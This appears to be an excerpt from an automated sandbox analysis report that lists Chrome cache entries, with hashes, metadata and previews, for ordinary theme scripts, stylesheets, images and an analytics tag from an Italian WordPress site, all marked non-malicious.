Preview:	wOF2......A........$..@..........................d..n..2.`?STAT........D..f..z..6.$..p. ........./...6.....w..F..8.....t@.....k..c.....mF ..V..]Mf.EU.a+2{...\|........y......... ..F...........$#Ga.{JM.......u..\|./$ ...~.n.0..=..3...8...4.......4P.%2$!..._..;?.o.......>1rQ&F...E..V.........i:.U...w.\...7f..M.$M.45CZ..(........ ..g.3..c.O......>....0..#..3.8.....v...4"5....@.8.\|..&..fs..^..4.(;...J./._X.>xF..y.._>t.`H.jf...t....oV.....gR.o...$...A.Y.].....J.[....~U>@L{.Y. Op2.\|..4.......l..Zx...4.Z{.,.n..-......3)......hw....e.<\|....~..9.Po7+..>+..3=.p..RooB..CnR..!+..)(..4..P..x.B....jn.....a..B.43..v.Z..........?.\|....TX..uB.a...M.....7.=.#.0..U..y.i.Y.i4..Mr.....H.....l.x...+.T]....R..E...r.w.CJ.!qJ......k8.....79..Uh..lX.D.s&~z3.\...(.....9.....+-..Z.....Dd.A. !.._....P.@ ........3..... .0:...DI.d..1".....iU~.)s0..l!..Jk.l.@....?c.KH....b......k.....@.V8.....`...LGA.W.j.........}......SK..U}...J.g..C....!.fm.N(].fH...(=}d...8.\|F<......\h..

Chrome Cache Entry: 344

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (359)
Category:	downloaded
Size (bytes):	5464
Entropy (8bit):	5.003279115233775
Encrypted:	false
SSDEEP:	96:loflPTp3QAn5sTX9Ffi+Hso6WHs0yJ1WboU5eH8UslIGum4YF4lB8nlc7SlhYsX:0F+j9J/nyOG3sSg3Fa6naWYA
MD5:	912E96BBA6658C45C3F38D7FF4240482
SHA1:	A0426B5A44D0B1C36AEF343BC72EAD327B80A531
SHA-256:	8E60AA4573BBF0824ABF6595D86B033EB2686F848CF6498523B86C9175211FBD
SHA-512:	EDDF37D5B0AC70CB7D1BC5AF1ECBFF9D8F66C325450357344ECAA4A0DED4D3E0FA8C410B77B3FCB71EBF06907166B3676C048FC4AB9D95AAADFE6245BAA4074B
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/js/avia-snippet-lightbox.js?ver=4.5
Preview:	(function($).{.. "use strict";....// -------------------------------------------------------------------------------------------..// Ligthbox activation..// -------------------------------------------------------------------------------------------...$.avia_utilities = $.avia_utilities \|\| {};...$.avia_utilities.av_popup = {....type: ....'image',....mainClass: ...'avia-popup mfp-zoom-in',....tLoading: ...'',....tClose: ...'',....removalDelay: ..300, //delay removal by X to allow out-animation....closeBtnInside: .true,....closeOnContentClick:false,....midClick: ...true,....fixedContentPos: .false, // allows scrolling when lightbox is open but also removes any jumping because of scrollbar removal....iframe: {.... patterns: {.... youtube: {.... index: 'youtube.com/watch', .... id: function(url) { ..... ..... //fetch the id .... var m = url.match(/[\\?\\&]v=([^\\?\\&]+)/), id, params;.... if ( !m \|\|

Chrome Cache Entry: 345

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	4724
Entropy (8bit):	4.72551908428837
Encrypted:	false
SSDEEP:	96:yrj3WJ7joCcSNg/g0GfN5gUC7g1jgnNpn5jgUGhqhxBxty0ufhT110FFff5kAT:gGJ7joCcSNg/gbgUmg1jgnNp1gUGhqhF
MD5:	7276681E0E7D64FD84BA4E7B36D67C36
SHA1:	A6AF31FE2B8DC239AD51233F1FBEDBB26B5F01E6
SHA-256:	91580DB5F8A95EAF1D2BBB373AB97D74D1EAA6547D849D3ACEC12056F4496D9D
SHA-512:	8389891FCD9B8EE8C805DBA00794F8B6078E8146185ECC972AF2BC936AD56A173EB7840FEB94289091F0B8EC7F5A5D1CA789BE8BCB458AAF3D17DB8E704D7A18
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/toggles/toggles.js?ver=6.0.9
Preview:	// -------------------------------------------------------------------------------------------.// Toggle shortcode javascript.// -------------------------------------------------------------------------------------------.(function($).{ .."use strict";....$.fn.avia_sc_toggle = function(options)..{...var defaults =...{....single: '.single_toggle',....heading: '.toggler',....content: '.toggle_wrap',....sortContainer:'.taglist'...};.....var win = $(window),....options = $.extend(defaults, options);.....return this.each(function()...{....var container .= $(this).addClass('enable_toggles'),.....toggles..= $(options.single, container),.....heading .= $(options.heading, container),.....activeStyle = $(container).attr('data-currentstyle'),.....allContent .= $(options.content, container),.....sortLinks.= $(options.sortContainer + " a", container);......heading.each(function(i)....{.....var thisheading = $(this),......content = thisheading.next(options.content, container),......headingStyle = th

Chrome Cache Entry: 346

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 1222 x 630, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	1169493
Entropy (8bit):	7.994471264780519
Encrypted:	true
SSDEEP:	24576:HdO1c3spGncYV5WGtNETwvYIaoN+KuYbY/MoXhcZWyVkA7d:sc3rn/VcTLooQcEYaZDVk+
MD5:	6271955F458C0A20333167E528E476F3
SHA1:	B36725D616F004F0D73E442F9B857476DE9360B7
SHA-256:	25DE885311B8CC53EF87120CC5CBF8A575FF1DFA8893F022FC6041C023CFD4FB
SHA-512:	77F7D08366BA4AEEEC69785025C52ADA8A640EDB661B68CF997E3194938C526CE6F391E7BFB703DD935411D110D951777D8C67F018FE105577146F9143DACF14
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/2024/08/Schermata-2024-08-29-alle-09.27.20-1222x630.png
Preview:	.PNG........IHDR.......v.............IDATx..K.v....]U.^.O.`.F.`.q8.FP@i.@..H.i!h./..~..%...D.... .B..;...9...U5....%m...y..c.Qu.u..d.A ...@p.......C.3....3.0@$.......b.....Z./.E..B.l...... "PU.m.w.~)~p...m.....wh......_-..%yM.: ..@.\|..........'_....J.......3.g......tq....}.......{...@.......Z....o._..~..b..:.......u......6.}..5Z..D%o...}..u..`"X...g......o.g;......../U5.M^.B....g.5..K.9.>......?.......!.......5..;....l..m,U........4.....1..^q...\|...6X...y`......S..?O...].x....:[.....{...hg_...f..l.....AU...`.........y......w......j....v..5<..ym.o...O......Y.....r...........M.eB.N_....Z.I.U......v.<....3..Z.........?.p.....}+.kzB..y..}...2.........9k1.C.0..f......y.$..b._.l....i...`. ..~ ..\|43....Ep.3.<..?..;.a~-U..7.{..k`..aP.....l3,.7:;...@d........#.1..S.~...7\|.o,Yg.._...?..w.. ..;.pV........<....K..#v...aA!b...........C..3:.}..R.......Y=.....`........>..yo=.HbO...5!}}..\...j...L.g+.'....U.O<ST'.!...c.h...."......y...q..5..v..-...

Chrome Cache Entry: 347

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	5508
Entropy (8bit):	4.98286767935578
Encrypted:	false
SSDEEP:	96:1UNBJhwmKXLtWfXzmbKIpyVTbJRfAiiBo2eg/8i28pgb:1UNZwmKXLtW6b9p2ZRoF62eg/F28qb
MD5:	7F7C3B86FF738A45E2AFE40996830ECB
SHA1:	8CBE76FA15E2433583A69F79CFB2E059C563E230
SHA-256:	6F481F9693AF25873DBB6A7BF4DFEEF5B19B5EDF0BBF50C2873017879EDBC988
SHA-512:	770487FD030FE922FF7A442FF1A277D7CEAC01F78D4115EDB3635EF3F9526B80434A3B01151BA6B1B403758F11441A4A1C863338CF44DC63A1C037D332F39DA6
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/comments/comments.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.#Comment.====================================================================================================================================================== */...h4#comments{.margin-bottom:30px;.}..#respond{.margin-top:20px;.}...commentlist ul {.border-left-style: dashed;.border-left-width: 1px;.}...children .children .says{.border-bottom-style: dashed;.border-bottom-width: 1px;.}.....miniheading, .author_name, #reply-title, #top .logged-in-as, .dynamic-column-title{.font-weight: 600;.letter-spacing: 1px;.}..#comments span, .minitext, .form-allowed-tags, #reply-title small, #commentform label{.font-size: 0.85em;.display:block;.letter-spacing: 0;.text-transform: none;.padding-top:8px;.line-height: 1.5em;.font-weight: normal;.}...comment_meta_container{clear:both; float:none;}..#top .commentlist{.margin:0;.padding: 0 0 10px 0px;.bord

Chrome Cache Entry: 348

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	dropped
Size (bytes):	31458
Entropy (8bit):	4.936956087978602
Encrypted:	false
SSDEEP:	384:J2Cxonb1/8rT68elt3uhcOt116+GgRCk5nacCaaYeYGBdZalfBSZTf:Maonx8r9eHuh3OUZHudZgBc
MD5:	77FDCBA71C41E4FF2B29F558A4193F1A
SHA1:	B78907AD116B273E1CAA89BAA6BFC00E8F433457
SHA-256:	419F6F322AFD038F55E29DD8EE201DD06C1895D77BD6888B3AD1C3FF936384B0
SHA-512:	48D52FFA1A04D7E849349E6B7E84BCA99461984CA30CC91C4F1D7FDCF4F1ED453260C7CA5CBB6ECAEABFD7055276A71BB5A84A3614FADBC3C78DD14FA4F76215
Malicious:	false
Reputation:	low
Preview:	/* ======================================================================================================================================================.Avia Slideshow.====================================================================================================================================================== */..(function($).{. "use strict";...$.AviaSlider = function(options, slider)..{...var self = this;......this.$win. = $( window );..... this.$slider = $( slider );.. ...this.isMobile = $.avia_utilities.isMobile;.. .. this._prepareSlides(options);.. ...//default preload images then init slideshow.. $.avia_utilities.preload({container: this.$slider , single_callback: function(){ self._init( options ); }});..}...$.AviaSlider.defaults = {.....//interval between autorotation switches...interval:5,....//autorotation active or not...autoplay:false,......//set if the loop will stop at the last/first slide or if the slides will loop infinite...//set to fals

Chrome Cache Entry: 349

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	4249
Entropy (8bit):	4.2791559324031185
Encrypted:	false
SSDEEP:	96:l7EXF3SFOrbSfS0YCeLw/M81Xif1Ile+96Yczd1Pf/H:qXF3SFOrbSfSXLKM81Xif1Iw+96Ykdpn
MD5:	40BF628F0D1CA7E9E8B6A2372F82CAEB
SHA1:	A8710B38F79E61346D34BD61F596D2DD6D7EB0FF
SHA-256:	802E6AC589C74C9617F5160E5FB0A71D37CE9BCB984E65AE436D1C5D149770ED
SHA-512:	534EB010B4EEDB303C7508444888EEA377D38433CCFD406FEFA1724D69D62B237CFAC793A7007222E1AE8E5FF4A5FE5EFD0805FB8B6B06AD9C7A00F0E0DF896F
Malicious:	false
Reputation:	low
Preview:	(function($).{.. "use strict";. . $(document).ready(function(). {....// decreases header size when user scrolls down. avia_header_size();. });. . . function av_change_class($element, change_method, class_name)..{....if($element[0].classList)...{....if(change_method == "add") ....{.....$element[0].classList.add(class_name);....}....else....{.....$element[0].classList.remove(class_name);....}...}...else...{....if(change_method == "add") ....{.....$element.addClass(class_name);....}....else....{.....$element.removeClass(class_name);....}...}..}......function avia_header_size(). {. var win....= $(window),. header = $('.html_header_top.html_header_sticky #header'),. unsticktop..= $('.av_header_unstick_top');. . if(!header.length && !unsticktop.length) return;. . var logo = $('#header_main .container .logo img, #header_main .container .logo a'),. elements = $('

Chrome Cache Entry: 350

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (15660)
Category:	dropped
Size (bytes):	18617
Entropy (8bit):	4.746740754378132
Encrypted:	false
SSDEEP:	384:Unb0kcuPTb9Uh31//bEP+XgA1N9CleffJmp3:Ub0/U9Uh31//YWXgAJffC3
MD5:	32BEB68A374E3AEAC00ABDF9E12B84EA
SHA1:	B5D18AA625E8696DD9D07CD0869337717B211AE0
SHA-256:	5AAD5FBD4238981A9FF5E2772FF1353DFE1A801FB49542FE157418C1438F7782
SHA-512:	8FC41038B4DC2FC2465422FB3144B71C2ACD2F4552607369314FEC9B7F561B7A3919CDC4219DF2089395241168FFBFE29E67DDDA834E66C27E4C88066C8F4496
Malicious:	false
Reputation:	low
Preview:	/! This file is auto-generated /.// Source: wp-includes/js/twemoji.min.js.var twemoji=function(){"use strict";var f={base:"https://twemoji.maxcdn.com/v/14.0.2/",ext:".png",size:"72x72",className:"emoji",convert:{fromCodePoint:function(d){d="string"==typeof d?parseInt(d,16):d;if(d<65536)return b(d);return b(55296+((d-=65536)>>10),56320+(1023&d))},toCodePoint:i},onerror:function(){this.parentNode&&this.parentNode.replaceChild(g(this.alt,!1),this)},parse:function(d,u){u&&"function"!=typeof u\|\|(u={callback:u});return("string"==typeof d?function(d,a){return o(d,function(d){var u,f,c=d,e=x(d),b=a.callback(e,a);if(e&&b){for(f in c="<img ".concat('class="',a.className,'" ','draggable="false" ','alt="',d,'"',' src="',b,'"'),u=a.attributes(d,e))u.hasOwnProperty(f)&&0!==f.indexOf("on")&&-1===c.indexOf(" "+f+"=")&&(c=c.concat(" ",f,'="',u[f].replace(t,n),'"'));c=c.concat("/>")}return c})}:function(d,u){var f,c,e,b,a,t,n,r,o,i,s,l=function d(u,f){var c,e,b=u.childNodes,a=b.length;for(;a--;)c=b[a]

Chrome Cache Entry: 351

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	3478
Entropy (8bit):	5.013823028619358
Encrypted:	false
SSDEEP:	48:Ng9dEk14Tud9tcfyE9tqIaCGRjn81zuT2lmK:oEk1xjiFTGRjn81aa8K
MD5:	CB40772DDF9EEBDBD18E59EC68831D58
SHA1:	B06693EF8015D11D3D3F8FE4CEF08B112F48F20A
SHA-256:	929937A67F4200F5DF7D383E95FE4EDE9B399B5516842AAF55DE33AEC6689F60
SHA-512:	F79CD3D704EE55C3F7CBD887BAD5BF6F581BDA619C64BE5139205E017EFD81D261E3D88F3561FED5B9AE8D5C7D1B178158C42DC029B90E3F9538EE5A5789B6A4
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/team/team.css?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Team Member.====================================================================================================================================================== */..avia-team-member{margin:30px 0; clear:both;}..avia-team-member.avia-builder-el-no-sibling{margin:0;}..team-member-name{margin-top:7px; font-size: 1.55em; }..team-member-job-title{margin-top:-7px; font-size: 1em; }..team-member-description{}..team-social a{text-decoration: none; position: relative; border-radius: 30px; padding: 0 16px; background: #fff;margin: 3px; display: inline-block; height:53px; line-height:54px; width:53px; }..team-img-container{ position: relative; overflow: hidden; border-radius: 3px; text-align: center; margin-bottom:10px; }..team-img-container img{ display:block; margin:0 auto; width:100%;}..team-img-container img.av-team-img-original{ width:aut

Chrome Cache Entry: 352

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	784
Entropy (8bit):	4.440391379109024
Encrypted:	false
SSDEEP:	12:jn4IfO8hRGcNmZH8Hql298TggCCgEcMTXeWmos5/ZzWgMb:bThj62CTzTXeWmos5xzWgMb
MD5:	08B7F19D89B532948C890F1107A76C9C
SHA1:	CEDB1D9D8444B39C24FAA7E9EF502FF0ACD2F925
SHA-256:	5CF52E501833EB1D14D3C61DE8243E9639ABDAF65555F7F5281CF7DD09336F23
SHA-512:	6F24C703A4DE00FBECE42E6E7E2C539DC3B9AEE5BE7BC4F745110E4BB99DDCBB1C06B2D2B6584E277FC130DC1A02289A7D9C16D8B27A3BC607543DD07830F60F
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/image_hotspots/image_hotspots.js?ver=6.0.9
Preview:	// -------------------------------------------------------------------------------------------.// AVIA Image Hotspots.// -------------------------------------------------------------------------------------------..(function($).{ .."use strict";...$.fn.aviaHotspots = function( options )..{...if(!this.length) return; ....return this.each(function()...{....var _self = {};........_self.container.= $(this);...._self.hotspots.= _self.container.find('.av-image-hotspot');........._self.container.on('avia_start_animation', function().....{......setTimeout(function()......{......._self.hotspots.each(function(i).......{........var current = $(this);........setTimeout(function(){ current.addClass('av-display-hotspot'); },300 * i);.......});......},400);.....});....});..};...}(jQuery));

Chrome Cache Entry: 353

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	JPEG image data, JFIF standard 1.01, resolution (DPI), density 192x192, segment length 16, baseline, precision 8, 1500x630, components 3
Category:	dropped
Size (bytes):	835036
Entropy (8bit):	7.979982287639451
Encrypted:	false
SSDEEP:	12288:5vcW0GiI9uhhrqtbdnhGnIruCKa6lDS0Kezf7Mm2DKo521MmnoCCJiyan9rYjJtM:iLIaeteIqCKjT7wvIlyh/MWY
MD5:	9589E20DF5D6622D02B50D7FD39FEFD4
SHA1:	0AB655B5574DFF4B9EAA2EE7488AC76D7A7E1248
SHA-256:	CC253D9002882E1FE40212D055A2D3C61269752D4E0FE5B7AEA1A7D9C7632037
SHA-512:	A88DD06FF946A0F76484EFA5B47BC5765970034EFF6A3B57E13EDEDC21CDD144AE795D8273E36395CA57087A3D5E59C91CCCF41E6A55FE667A8C4C39C13E1FA0
Malicious:	false
Reputation:	low
Preview:	......JFIF.............dICC_PROFILE......Tlcms.0..mntrRGB XYZ ............acspMSFT...................................-lcms................................................desc.......>cprt...H...Lwtpt........chad.......,rXYZ........bXYZ........gXYZ........rTRC....... gTRC....... bTRC....... chrm...0...$mluc............enUS...".....s.R.G.B. .I.E.C.6.1.9.6.6.-.2...1..mluc............enUS...0.....N.o. .c.o.p.y.r.i.g.h.t.,. .u.s.e. .f.r.e.e.l.yXYZ ...............-sf32.......B.......%.......................nXYZ ......o...8.....XYZ ......$.........XYZ ......b.........para..........ff......Y.......[chrm..............T{..L.......&f...\...C....................................................................C.......................................................................v................................................S........................!..1.A.."Q.2aq.#...B..R.....$3b...%Cr.&4..'...56DScs(7EF...................................W......................!1..AQ.aq.."....2......#B...R3b.$r

Chrome Cache Entry: 354

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2080
Entropy (8bit):	4.748470821267847
Encrypted:	false
SSDEEP:	48:4L9E2Q8Zgwl4TtWYWUP+QzQlitVUkeVPW:4GIgwl4pfWU2RsVUkeo
MD5:	0DCEDA7E2D57833B75D29EE61E5AF2A5
SHA1:	49587E7720FB374F01A3F69E22641A33E2958E66
SHA-256:	E6B9CEDB6592510EE8F3A5824D1C6F758165211EA1FDF85042C0B0DA9DF34AED
SHA-512:	87FADCBA1F71710AEDCC17A2752E1C990EF599F3EB756913D1BA139130C50FE681FAFC088A9DBCC890EFE3591C27A65CD854C1674E8BDDC30CB453C7AD1C2A5A
Malicious:	false
Reputation:	low
Preview:	// -------------------------------------------------------------------------------------------.// .// AVIA Player.// .// -------------------------------------------------------------------------------------------.(function($).{ .."use strict";....var autostarted = false,...container = null,.....monitorStart = function( container )....{.....var play_pause.= container.find('.av-player-player-container .mejs-playpause-button');..........if( play_pause.length == 0 ).....{......setTimeout( function(){........monitorStart( container );.......}, 200 );.....}..........if( ! play_pause.hasClass('mejs-pause') ).....{......play_pause.trigger( 'click' );.....}.........};....$.fn.aviaPlayer = function( options )..{....if( ! this.length ) return; ....return this.each(function()...{....var _self ...= {};........_self.container..= $( this );...._self.stopLoop..= false;........_self.container.find('audio').on('play', function() {..........if( _self.stopLoop )..........{...........this.pause();.........

Chrome Cache Entry: 355

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text
Category:	downloaded
Size (bytes):	9488
Entropy (8bit):	5.079910664283746
Encrypted:	false
SSDEEP:	96:pYN4fYeJ7IdtQu7ssNiT4G5owhS0RbVvdmjerkWLR0qKS9ldUBZeptosk/CFClUi:0eJ7ytQu4sscGBZbCjeoWLCTCuQM
MD5:	A516AC271A7383CE6472DAE01E294DEB
SHA1:	B1143BFD291EB25058084324F4BF0A91524731F0
SHA-256:	F5901BA0DC5217A5BE6A13877D4D0DF247676D8527554121288D08101F513E3F
SHA-512:	3E541B03986446B26450510E85C12270FD519BF85DDE4B68E9E9BBF0DC14163D4DD26A411DF65BF157BE85E87060E3E05B42F7460A9BBF7199999D9A5D25469C
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/css/grid.css?ver=4.5
Preview:	./* Table of Contents.==================================================. #Base 960 Grid. #Tablet (Portrait). #Mobile (Portrait). #Mobile (Landscape). #Clearing /./ #Base 960 Grid.================================================== /.html { min-width: 910px; }.html.responsive { min-width: 0px; }..boxed#top { margin: 0 auto; overflow: visible; / position:relative; z-index: 3; / }...container {. position: relative;. width: 100%;. margin: 0 auto;. padding: 0px 50px;. clear: both;.}.....inner-container{ position: relative; height:100%; width:100%; }../no z-index for container_wrap or fixed bgs start disapearing when other elements transition -> weird chrome bug/..container_wrap {. clear: both;. position: relative;. / z-index: 1; */. border-top-style: solid;. border-top-width: 1px;.}...unit, .units {. float: left;. display: inline;. margin-left: 50px;. position: relative;. z-index: 1;. min-height: 1px;.}..row {. position: relative;. margin-bottom: 20p

Chrome Cache Entry: 356

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 (with BOM) text, with very long lines (551)
Category:	downloaded
Size (bytes):	227261
Entropy (8bit):	5.483775665452673
Encrypted:	false
SSDEEP:	3072:vHdwBc2ltglAnjnc5g0Ci0s0LLM+L3Fv+zMqxAKp:vHdYtgkg5gLi0s0LLM+L3FPq6Kp
MD5:	7204A090B5E030D4C2CD9FF168D00C7A
SHA1:	B68C14E834050BD237D222F7F8772C8D87EC1BE9
SHA-256:	1B16FB7B71EB885AB2F0310063BA192F2786F428CD4F52C21596C88CCD8DD848
SHA-512:	DFD75CC95F1FC5919B7E7EF5430C45E09069E2B0A0D9EA6D5333737CA3FBE297320C067654E54D79A4CACA17E4B413BE5B09E3C55EE835308FF345B533F676AC
Malicious:	false
Reputation:	low
URL:	https://mc.yandex.ru/metrika/tag.js
Preview:	.(function(){function La(ba){var ta=0;return function(){return ta<ba.length?{done:!1,value:ba[ta++]}:{done:!0}}}function u(ba){var ta="undefined"!=typeof Symbol&&Symbol.iterator&&ba[Symbol.iterator];if(ta)return ta.call(ba);if("number"==typeof ba.length)return{next:La(ba)};throw Error(String(ba)+" is not an iterable or ArrayLike");}function Pa(ba){for(var ta,$a=[];!(ta=ba.next()).done;)$a.push(ta.value);return $a}function Va(ba){return ba instanceof Array?ba:Pa(u(ba))}.var Of="function"==typeof Object.create?Object.create:function(ba){function ta(){}ta.prototype=ba;return new ta},Pf;if("function"==typeof Object.setPrototypeOf)Pf=Object.setPrototypeOf;else{var Mh;a:{var Nh={a:!0},Oh={};try{Oh.__proto__=Nh;Mh=Oh.a;break a}catch(ba){}Mh=!1}Pf=Mh?function(ba,ta){ba.__proto__=ta;if(ba.__proto__!==ta)throw new TypeError(ba+" is not extensible");return ba}:null}var Fm=Pf;.function Gm(ba,ta){ba.prototype=Of(ta.prototype);ba.prototype.constructor=ba;if(Fm)Fm(ba,ta);else for(var $a in ta)if("p

Chrome Cache Entry: 357

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with CRLF line terminators
Category:	downloaded
Size (bytes):	7238
Entropy (8bit):	4.8628010967352076
Encrypted:	false
SSDEEP:	96:YF9D9Q3Pt4dlFDe98GjK81nxpw9Hzx7YYUnxiCLc/fYo5gUuenI1:69D9Q3PtelFDMH71xpOlBiH8uMI1
MD5:	09B08C6DC04BFDAB0A31DA73CBA34EB2
SHA1:	29B37614F602A336A266702BF609DD3214E1BA30
SHA-256:	0332A5F4F922B4444F56E6FBF32034407BA146690A78E181126DA759B81C1BE3
SHA-512:	75FA7D15A53BC013BFDF51AACD0B85B12FBDA4BF32661966C8D4F149E098904A6CB37871376522151B63983A8A9B2E5984FC4110DCB687709330786668F128D5
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/tab_section/tab_section.js?ver=6.0.9
Preview:	(function($)..{ ..."use strict";......// -------------------------------------------------------------------------------------------...// Tab Section...// -------------------------------------------------------------------------------------------......$.fn.avia_sc_tab_section= function()...{....var win ...= $(window),.....browserPrefix .= $.avia_utilities.supports('transition'),.....cssActive ..= this.browserPrefix !== false ? true : false,.....isMobile ..= $.avia_utilities.isMobile,.....transform3d..= document.documentElement.className.indexOf('avia_transform3d') !== -1 ? true : false,.....transition..= {};.........return this.each(function()....{.....var container ..= $(this),......tabs...= container.find('.av-section-tab-title'),..... tab_outer..= container.find('.av-tab-section-outer-container'),......tab_wrap..= container.find('.av-tab-section-tab-title-container'),......tab_nav...= container.find('.av_tab_navigation'), ......content_wrap.= container.find('.av-tab-section-inner

Chrome Cache Entry: 358

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	Unicode text, UTF-8 text
Category:	downloaded
Size (bytes):	31458
Entropy (8bit):	4.936956087978602
Encrypted:	false
SSDEEP:	384:J2Cxonb1/8rT68elt3uhcOt116+GgRCk5nacCaaYeYGBdZalfBSZTf:Maonx8r9eHuh3OUZHudZgBc
MD5:	77FDCBA71C41E4FF2B29F558A4193F1A
SHA1:	B78907AD116B273E1CAA89BAA6BFC00E8F433457
SHA-256:	419F6F322AFD038F55E29DD8EE201DD06C1895D77BD6888B3AD1C3FF936384B0
SHA-512:	48D52FFA1A04D7E849349E6B7E84BCA99461984CA30CC91C4F1D7FDCF4F1ED453260C7CA5CBB6ECAEABFD7055276A71BB5A84A3614FADBC3C78DD14FA4F76215
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/themes/enfold/config-templatebuilder/avia-shortcodes/slideshow/slideshow.js?ver=6.0.9
Preview:	/* ======================================================================================================================================================.Avia Slideshow.====================================================================================================================================================== */..(function($).{. "use strict";...$.AviaSlider = function(options, slider)..{...var self = this;......this.$win. = $( window );..... this.$slider = $( slider );.. ...this.isMobile = $.avia_utilities.isMobile;.. .. this._prepareSlides(options);.. ...//default preload images then init slideshow.. $.avia_utilities.preload({container: this.$slider , single_callback: function(){ self._init( options ); }});..}...$.AviaSlider.defaults = {.....//interval between autorotation switches...interval:5,....//autorotation active or not...autoplay:false,......//set if the loop will stop at the last/first slide or if the slides will loop infinite...//set to fals

Chrome Cache Entry: 359

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 300 x 143, 8-bit/color RGBA, non-interlaced
Category:	downloaded
Size (bytes):	17383
Entropy (8bit):	7.953734195324373
Encrypted:	false
SSDEEP:	384:7ps7VxjdgANe442HnQZyAHugoLIe7eDsFEfzx2fh1r2M334ESJ:7kVxjGA44HHnOyACLIe+sedg1atJ
MD5:	89F94E28F27A6229E250935949B94D02
SHA1:	73EB36D1C86A093DF75EBD91265A54040CD6B9EF
SHA-256:	92737B2E4F1027162F3F4F621E1C2148818386A230EFB4FFA153EF29C3246F29
SHA-512:	BC47E33590D96A16055377628275D45D75619594FD5449CB00D47E604481AB64165CE51A59777090C9AD4342019CAE81D6203382E4631EDC01013357D9090C84
Malicious:	false
Reputation:	low
URL:	https://www.cipassoitalia.it/wp-content/uploads/2022/09/CIPASSO_logo_600_nopoff_-300x143.png
Preview:	.PNG........IHDR...,.........@....C.IDATx..}w.$e..S.i.........KXr........fOOi.C.;.;...s...bF.#.. #Y.X`..9.....N.N.....W.4U...gz...O.&.TW...>......H ...H ...H ......A .<.%....!.&.e......&...$.@j.< .../..._a.....t......M.H.8.`..$_.........]/....@ ...@...b..l.Q.Q........h.....@..g.Y).."8e.Pc\|E.l.p..{.\...$.@JfU/..m....y.v.x.@..3J...d.\|....dQY.WJcg).".>.`!...x.'...aI..DOo2W.s......8...d6..@.96......\........~A0..ek .........9......[...x..V2.C.vN.......de.zz........@...................R...x./.....n.F.K!N..2...p..m.v......X.`......>2.t........B.>..M..=...t..D.j..Z.......B.i&...K.\|'...`..H}......A\|J;......m.#..\.....fA\|c..^1~...g..Yf.....8.O.8D...U.......z~.l...~3.O.x)...0..[.V............d2..h".9..W..k)....'..k.R~.I....6.`.......^......p..W.xm"nm.c.K.....^...2.&.?.4u.... ..;.@.._sp......\|..w. .M.T).D....`.....5...Hv.Q.......... ....X.=......e..w.x..w.0..q..B..T.n..H .m...)x........ZV.`...r....L..l..1....x.!~......d..j..&.n.(....>..d...S.q+..V ..D.....e....

Chrome Cache Entry: 360

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 18 x 12, 8-bit/color RGB, non-interlaced
Category:	dropped
Size (bytes):	600
Entropy (8bit):	7.393135725142834
Encrypted:	false
SSDEEP:	12:6v/7t5Z2Sk4hy7qYpClCUxPxZEZEx54fvYygSa7Aoqm4XK4Qi:GaHsXwZe5442kX6
MD5:	2878F64A0217A154E531853F6A822C65
SHA1:	AC7A53E9F53B9DE8A344C38222E217D50D559B83
SHA-256:	3F47C75FA68E49B1CDCA50C61E9CD6603B57C521E5E6809DF59A4A15E291A4EF
SHA-512:	0885BC73E9364C2B3C3730DCC5430E74BD17C3AB84F85A0FF33002BBBA95F6650622650BBAC35B05505978B58D98584F0C78B6A471E6449D33E333729C1FA0DC
Malicious:	false
Reputation:	low
